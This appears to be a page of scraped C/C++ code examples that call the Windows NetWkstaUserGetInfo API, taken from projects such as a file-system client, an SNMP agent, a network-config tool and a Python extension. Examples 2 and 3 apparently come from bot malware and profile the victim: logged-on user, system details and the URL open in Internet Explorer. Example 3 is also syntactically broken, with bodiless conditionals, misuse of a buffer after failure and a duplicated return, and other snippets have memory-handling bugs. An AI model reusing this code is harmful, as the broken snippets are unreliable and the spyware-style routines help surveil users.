Exemplo n.º 1
0
void SystemUserMappingWindows::GetUserCredentialsForCurrentUser(
    xtreemfs::pbrpc::UserCredentials* user_credentials) {
  LPWKSTA_USER_INFO_1 user_info = NULL;
  NET_API_STATUS result = NetWkstaUserGetInfo(
      NULL,
      1,
      reinterpret_cast<LPBYTE*>(&user_info));
  if (result == NERR_Success) {
    if (user_info != NULL) {
      string username = ConvertWindowsToUTF8(user_info->wkui1_username);
      string groupname = ConvertWindowsToUTF8(user_info->wkui1_logon_domain);
      NetApiBufferFree(user_info);

      if (additional_user_mapping_.get()) {
        string local_username(username);
        string local_groupname(groupname);
        additional_user_mapping_->LocalToGlobalUsername(local_username,
                                                        &username);
        additional_user_mapping_->LocalToGlobalGroupname(local_groupname,
                                                         &groupname);
      }

      user_credentials->set_username(username);
      user_credentials->add_groups(groupname);
    }
  } else {
     Logging::log->getLog(LEVEL_ERROR) <<
       "Failed to retrieve the current username and domain name, error"
       " code: " << result << endl;
  }
}
Exemplo n.º 2
0
char * currentuser(char *sinfo)
{
	DWORD dwLevel = 15;
    LPWKSTA_USER_INFO_1 pBuf = NULL;
    NET_API_STATUS nStatus;
    nStatus = NetWkstaUserGetInfo(NULL, dwLevel, (LPBYTE *)&pBuf);
	if (nStatus == NERR_Success){
		if (pBuf != NULL){
			sprintf(sinfo, "-SystemInfo- Current-User: %s",pBuf->wkui1_username);
        }
    }
    else
    if (pBuf != NULL)
		NetApiBufferFree(pBuf);
	return sinfo;
}
Exemplo n.º 3
0
char * sysinfo(char *sinfo)
{
	int total;
	MEMORYSTATUS memstat;
	OSVERSIONINFO verinfo;
	DWORD dwLevel = 15;
    LPWKSTA_USER_INFO_1 pBuf = NULL;
    NET_API_STATUS nStatus;
    nStatus = NetWkstaUserGetInfo(NULL, dwLevel, (LPBYTE *)&pBuf);
	if (nStatus == NERR_Success)
		if (pBuf != NULL)
	GlobalMemoryStatus(&memstat); // load memory info into memstat
	verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); // required for some strange reason
	GetVersionEx(&verinfo); // load version info into verinfo
	char *os;
	char *find;
	char os2[140];
	if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) {
		if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) os = "95";
		if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT) os = "NT";
	}
	else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) os = "98";
	else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) os = "ME";
	else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) os = "2K";
	else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) os = "XP";
	else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) os = "2003";
	else if (verinfo.dwMajorVersion == 6) os = "VISTA";
	else os = "??";
	
	
	
	if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.szCSDVersion[0] != '\0') {
		sprintf(os2, "%s [%s]", os, verinfo.szCSDVersion);
		os = os2;
	}
	
	
	total = GetTickCount() / 1000; // GetTickCount() / 1000 = seconds since os started.
	

	char msg[] = "";
	char msgbuf[1024];
	char tmpbuf[1024];
#define bufsize 2000
	OSVERSIONINFO osVerInfo;
	memset(&osVerInfo, 0, sizeof(OSVERSIONINFO));
	osVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	GetVersionEx(&osVerInfo);
	if(osVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
		
		MEMORYSTATUS memStat;
		int num = 0;
		float tot = 0.0000;
		DWORD top, bot; 
		HINSTANCE hInst = LoadLibrary("RSRC32.dll");
		GETRES pGetRes = (GETRES) GetProcAddress(hInst, "_MyGetFreeSystemResources32@4");
		long lSysRes = (*pGetRes)(0);
		int ret = 0;
		ret = (int)lSysRes;
		
	
		char szURL[255];
		GetURLFromIE(szURL, sizeof(szURL));


	sprintf(sinfo, "-SystemInfo- Current-User: %s Free System Resources: %d -CurrentUrl- User currently viewing: %s [.RAM.]: %dKB total, %dKB free [.OS.]: Windows %s (%d.%d, build %d) [.Uptime.]: %dd %dh %dm",pBuf->wkui1_username,ret,szURL,memstat.dwTotalPhys / 1024, memstat.dwAvailPhys / 1024,	os, verinfo.dwMajorVersion, verinfo.dwMinorVersion, verinfo.dwBuildNumber, total / 86400, (total % 86400) / 3600, ((total % 86400) % 3600) / 60);

	

	return sinfo;
	return sinfo; // return the sysinfo string
}
Exemplo n.º 4
0
//
// MIB_odom_lmget
//    Retrieve print queue table information from Lan Manager.
//    If not cached, sort it and then
//    cache it.
//
// Notes:
//
// Return Codes:
//    SNMPAPI_NOERROR
//    SNMPAPI_ERROR
//
// Error Codes:
//    None.
//
SNMPAPI MIB_odoms_lmget(
           )

{

DWORD totalentries;
LPBYTE bufptr;
unsigned lmCode;
WKSTA_USER_INFO_1 *DataTable;
DOM_OTHER_ENTRY *MIB_DomOtherDomainTableElement ;
char *p;
char *next;
time_t curr_time ;
unsigned i;
SNMPAPI nResult = SNMPAPI_NOERROR;



   time(&curr_time);    // get the time


   //
   //
   // If cached, return piece of info.
   //
   //


   if((NULL != cache_table[C_ODOM_TABLE].bufptr) &&
      (curr_time <
        (cache_table[C_ODOM_TABLE].acquisition_time
                 + cache_expire[C_ODOM_TABLE]              ) ) )
        { // it has NOT expired!

        goto Exit; // the global table is valid

        }

   //
   //
   // Do network call to gather information and put it in a nice array
   //
   //


     //
     // remember to free the existing data
     //

     MIB_DomOtherDomainTableElement = MIB_DomOtherDomainTable.Table ;

     // iterate over the whole table
     for(i=0; i<MIB_DomOtherDomainTable.Len ;i++)
     {
        // free any alloc'ed elements of the structure
        SnmpUtilOidFree(&(MIB_DomOtherDomainTableElement->Oid));
        SafeFree(MIB_DomOtherDomainTableElement->domOtherName.stream);

        MIB_DomOtherDomainTableElement ++ ;  // increment table entry
     }
     SafeFree(MIB_DomOtherDomainTable.Table) ;  // free the base Table
     MIB_DomOtherDomainTable.Table = NULL ;     // just for safety
     MIB_DomOtherDomainTable.Len = 0 ;          // just for safety

        lmCode =
        NetWkstaUserGetInfo(
                        0,                      // required
                        1,                      // level 0,
                        &bufptr                 // data structure to return
                        );


    DataTable = (WKSTA_USER_INFO_1 *) bufptr ;

    if((NERR_Success == lmCode) || (ERROR_MORE_DATA == lmCode))
        {  // valid so process it, otherwise error
        if(NULL==DataTable->wkui1_oth_domains) {
                totalentries = 0;

                // alloc the table space
                MIB_DomOtherDomainTable.Table = SnmpUtilMemAlloc(totalentries *
                                                sizeof(DOM_OTHER_ENTRY) );
        } else {  // compute it
        totalentries = chrcount((char *)DataTable->wkui1_oth_domains);
        if(0 == MIB_DomOtherDomainTable.Len) {  // 1st time, alloc the whole table
                // alloc the table space
                MIB_DomOtherDomainTable.Table = SnmpUtilMemAlloc(totalentries *
                                                sizeof(DOM_OTHER_ENTRY) );
        }

        MIB_DomOtherDomainTableElement = MIB_DomOtherDomainTable.Table  ;

        // make a pointer to the beginning of the string field

        #ifdef UNICODE
        SnmpUtilUnicodeToAnsi(
                &p,
                DataTable->wkui1_oth_domains,
                TRUE);
        #else
        p =  DataTable->wkui1_oth_domains  ;
        #endif

        // scan through the field, making an entry for each space
        // separated domain
        while(  (NULL != p ) &
                ('\0' != *p)  ) {  // once for each entry in the buffer

                // increment the entry number

                MIB_DomOtherDomainTable.Len ++;

                // find the end of this one
                next = strchr(p,' ');

                // if more to come, ready next pointer and mark end of this one
                if(NULL != next) {
                        *next='\0' ;    // replace space with EOS
                        next++ ;        // point to beginning of next domain
                }


                MIB_DomOtherDomainTableElement->domOtherName.stream = SnmpUtilMemAlloc (
                                strlen( p ) ) ;
                MIB_DomOtherDomainTableElement->domOtherName.length =
                                strlen( p ) ;
                MIB_DomOtherDomainTableElement->domOtherName.dynamic = TRUE;
                memcpy( MIB_DomOtherDomainTableElement->domOtherName.stream,
                        p,
                        strlen( p ) ) ;


                MIB_DomOtherDomainTableElement ++ ;  // and table entry

           DataTable ++ ;  // advance pointer to next sess entry in buffer

        } // while still more to do

        } // if there really were entries
        } // if data is valid to process

    else
       {
       // Signal error
       nResult = SNMPAPI_ERROR;
       goto Exit;
       }


   // free all of the lan man data
   SafeBufferFree( bufptr ) ;


    // iterate over the table populating the Oid field
    build_odom_entry_oids();

   // Sort the table information using MSC QuickSort routine
   qsort( (void *)&MIB_DomOtherDomainTable.Table[0], (size_t)MIB_DomOtherDomainTable.Len,
          (size_t)sizeof(DOM_OTHER_ENTRY), odom_entry_cmp );

   //
   //
   // Cache table
   //
   //


   if(0 != MIB_DomOtherDomainTable.Len) {

        cache_table[C_ODOM_TABLE].acquisition_time = curr_time ;

        cache_table[C_ODOM_TABLE].bufptr = bufptr ;
   }

   //
   //
   // Return piece of information requested
   //
   //

Exit:
   return nResult;
} // MIB_odom_get
Exemplo n.º 5
0
static
INT
DisplayWorkstationConfig(VOID)
{
    PWKSTA_INFO_100 WorkstationInfo = NULL;
    PWKSTA_USER_INFO_1 UserInfo = NULL;
    PWKSTA_TRANSPORT_INFO_0 TransportInfo = NULL;
    DWORD dwRead = 0, dwTotal = 0, i;
    INT nPaddedLength = 38;
    NET_API_STATUS Status;

    Status = NetWkstaGetInfo(NULL, 100, (PBYTE*)&WorkstationInfo);
    if (Status != NERR_Success)
        goto done;

    Status = NetWkstaUserGetInfo(NULL, 1, (PBYTE*)&UserInfo);
    if (Status != NERR_Success)
        goto done;

    Status = NetWkstaTransportEnum(NULL,
                                   0,
                                   (PBYTE*)&TransportInfo,
                                   MAX_PREFERRED_LENGTH,
                                   &dwRead,
                                   &dwTotal,
                                   NULL);
    if (Status != NERR_Success)
        goto done;

    PrintPaddedMessageString(4450, nPaddedLength);
    ConPrintf(StdOut, L"\\\\%s\n", WorkstationInfo->wki100_computername);

    PrintPaddedMessageString(4468, nPaddedLength);
    ConPuts(StdOut, L"...\n");

    PrintPaddedMessageString(4451, nPaddedLength);
    ConPrintf(StdOut, L"%s\n", UserInfo->wkui1_username);

    ConPuts(StdOut, L"\n");

    PrintPaddedMessageString(4453, nPaddedLength);
    ConPuts(StdOut, L"\n");
    for (i = 0; i < dwRead; i++)
    {
        ConPrintf(StdOut, L"      %s (%s)\n",
                  &TransportInfo[i].wkti0_transport_name[8],
                  TransportInfo[i].wkti0_transport_address);
    }
    ConPuts(StdOut, L"\n");

    PrintPaddedMessageString(4452, nPaddedLength);
    ConPrintf(StdOut, L"%lu.%lu\n",
              WorkstationInfo->wki100_ver_major,
              WorkstationInfo->wki100_ver_minor);

    ConPuts(StdOut, L"\n");

    PrintPaddedMessageString(4455, nPaddedLength);
    ConPrintf(StdOut, L"%s\n", WorkstationInfo->wki100_langroup);

    PrintPaddedMessageString(4469, nPaddedLength);
    ConPuts(StdOut, L"...\n");

    PrintPaddedMessageString(4456, nPaddedLength);
    ConPrintf(StdOut, L"%s\n", UserInfo->wkui1_logon_domain);

    ConPuts(StdOut, L"\n");

    PrintPaddedMessageString(4458, nPaddedLength);
    ConPuts(StdOut, L"...\n");

    PrintPaddedMessageString(4459, nPaddedLength);
    ConPuts(StdOut, L"...\n");

    PrintPaddedMessageString(4460, nPaddedLength);
    ConPuts(StdOut, L"...\n");

done:
    if (TransportInfo != NULL)
        NetApiBufferFree(TransportInfo);

    if (UserInfo != NULL)
        NetApiBufferFree(UserInfo);

    if (WorkstationInfo != NULL)
        NetApiBufferFree(WorkstationInfo);

    return 0;
}
Exemplo n.º 6
0
static PyObject *
netuse_user_info(PyObject *self, PyObject *args)
{
  DWORD dwLevel = 1;
  LPWKSTA_USER_INFO_1 pBuf = NULL;
  NET_API_STATUS nStatus;
  //
  // Call the NetWkstaUserGetInfo function;
  //  specify level 1.
  //
  nStatus = NetWkstaUserGetInfo(NULL,
                                dwLevel,
                                (LPBYTE *)&pBuf);
  //
  // If the call succeeds, print the information
  //  about the logged-on user.
  //
  if (nStatus == NERR_Success) {
    if (pBuf != NULL) {
      size_t size = MAX_USERBUFFER_SIZE;
      size_t len;
      logonuser = userinfo;
      len = wchar2mchar(pBuf->wkui1_username, logonuser, size);
      if (len == -1) {
        PyErr_SetString(PyExc_RuntimeError, "Unicode conversion error");
        return NULL;
      }
      size -= len;
      logondomain = logonuser + len;
      len = wchar2mchar(pBuf->wkui1_logon_domain, logondomain, size);
      if (len == -1) {
        PyErr_SetString(PyExc_RuntimeError, "Unicode conversion error");
        return NULL;
      }
      size -= len;
      logonserver = logondomain + len;
      len = wchar2mchar(pBuf->wkui1_logon_server, logonserver, size);
      if (len == -1) {
        PyErr_SetString(PyExc_RuntimeError, "Unicode conversion error");
        return NULL;
      }
    }
  }
  // Otherwise, print the system error.
  //
  else {
    PyErr_Format(PyExc_RuntimeError,
                 "A system error has occurred: %ld",
                 nStatus
                 );
    return NULL;
  }
  //
  // Free the allocated memory.
  //
  if (pBuf != NULL) {
    NetApiBufferFree(pBuf);
    return Py_BuildValue("sss", logonserver, logondomain, logonuser);
  }

  PyErr_SetString(PyExc_RuntimeError, "No logon user information");
  return NULL;
}